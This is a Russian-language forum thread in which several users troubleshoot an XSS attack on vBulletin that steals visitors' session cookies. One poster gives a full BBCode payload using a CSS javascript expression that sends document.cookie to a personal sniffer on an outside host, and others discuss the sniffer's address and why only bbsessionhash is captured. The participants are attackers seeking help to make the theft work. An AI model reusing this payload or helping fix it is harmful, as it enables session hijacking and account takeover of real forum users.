Уязвимость в vBulletin. Или abbsessionhash вместо полных куков

[Smart12]

Использовал следующее:
http://video.antichat.net/file105.html

Проверка отработала, алерт вылазит.
Запускаю оснолвную процедуру.....
после перехода на искомый сайт создается файл в котором поидее должны лежать куки, а там лежит только bbsessionhash= значение и больше ничего.
Попробовал прям из формы ПМ, в заголовок вставил искомый код, в алерте выдает полные куки. При отработке скрипта - только сессионхэш.
В чем может быть причина? на заплатку не похоже, иначе проверки бы не работали.

Спасибо.

[Electro]

А у меня другая проблема ...уже говорил сегодня в другой теме ... короче вставляю сплойт в форуме ..

mailto:assss@wew.ew ]
sssssss[/URL] ([URL=s as=`s@wew.ew)` style=`background:url(javaSCrip t:document.Images[1].src="htt"+"p"+":"+"/"+"/"+"antichat.org/s/Electro.gif?"+document.cookie)`

алерт есть , сплойт не палиться но на сниффе пусто ...может я что нить не так сделал ? если да то буду блогодарен если подскажите...и еще я сижу под ИЕ! а не под оперой иль под файерфокс

[woolf]

у меня таже проблема что и у Smart12...
помогите..

[WizART]

antichat.org/s/Electro.gif?"+document.cookie)`
интересно откуда ты это взял, адрес сниффера: antichat.ru/sniff/s.jpg вроде

[Rebz]

вообще-то на antichat.org можно зарегить персональный сниффер.. =) Так что все верно.

[Smart12]

Может появились мысли?